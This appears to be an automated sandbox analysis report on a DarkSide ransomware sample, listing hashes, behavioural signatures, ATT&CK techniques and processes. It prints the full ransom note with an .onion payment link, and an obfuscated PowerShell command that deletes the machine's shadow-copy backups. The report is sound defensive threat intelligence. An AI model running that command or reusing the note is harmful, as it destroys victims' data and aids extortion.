Analysis
- max time kernel
105s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-20250314-en - resource tags
- submitted
07/04/2025, 04:30
General
- Target 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
- Size 59KB
- Sample250407-e4519syvgt
- SHA256 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc
Malware Config
Extracted
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C:\Recovery\WindowsRE\README.f2850324.TXT
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darkside
- ----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4 When you open our website, put the following data in the input form: Key: lsJTyyTnzJlGQ1I6sfwV6oVcXaRynwN6mWphA7BKXEDIHJcDlhNNHsrxlkpggRChK2nQ7wP0sknJvl37lbqElTopkUywK3QnfJFmqDBSCmFISeWSudjgwxB4kKSp7h4VySHeu4LmDiZXTAh1dbZHWxTtZ0bA6PhCoDrbGkctY4rucITW4IdYUZJC8d2B7SFnr5EA7EoRkajrZW54brM5Kgwqsz67qzH6Hk0Vr3EDcnGzNjGQBapJczIWkgPtMCJdTkeemQ34XH7wawXu3eOGV3uJlBZNoSuaxtDHMGApS8EWsUXhafMW8WxFLAPLCo6pdm7MLcLsVDp9iBXU1sLv2KkGyUJbO0KOmom9f1JREuidviHRfsndEgMFBAjyq5v4VEIraiioAbtWM7eecYaXPVt3rolsBi8mtjxLOpFj73NPPitoIDxBNfHGzXxvRTXi06Pjx9pRnAtjIqoq5wovnHa8uBel8nq8yDJTk7NWdGdsv3yVwV2TmBin7OvFqHN9lweFNJyuziKCVGEtSaglUNudMmpFnNObGlhfh58jQsrQiQZ2d3AOFsi !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
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http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4
Signatures
- DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
- Darkside family
- Renames multiple (149) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Control Panel 1 IoCs
- Modifies registry class 5 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 25 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe"C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe"1⤵
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
README.f2850324.TXT
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_s1e15tdg.w5s.ps1
memory/4808-10-0x00007FF9265F0000-0x00007FF9268B9000-memory.dmp
memory/4808-9-0x00007FF9265F0000-0x00007FF9268B9000-memory.dmp
memory/4808-20-0x000001F046920000-0x000001F046942000-memory.dmp
memory/4808-21-0x00007FF9265F0000-0x00007FF9268B9000-memory.dmp
memory/4808-24-0x00007FF9265F0000-0x00007FF9268B9000-memory.dmp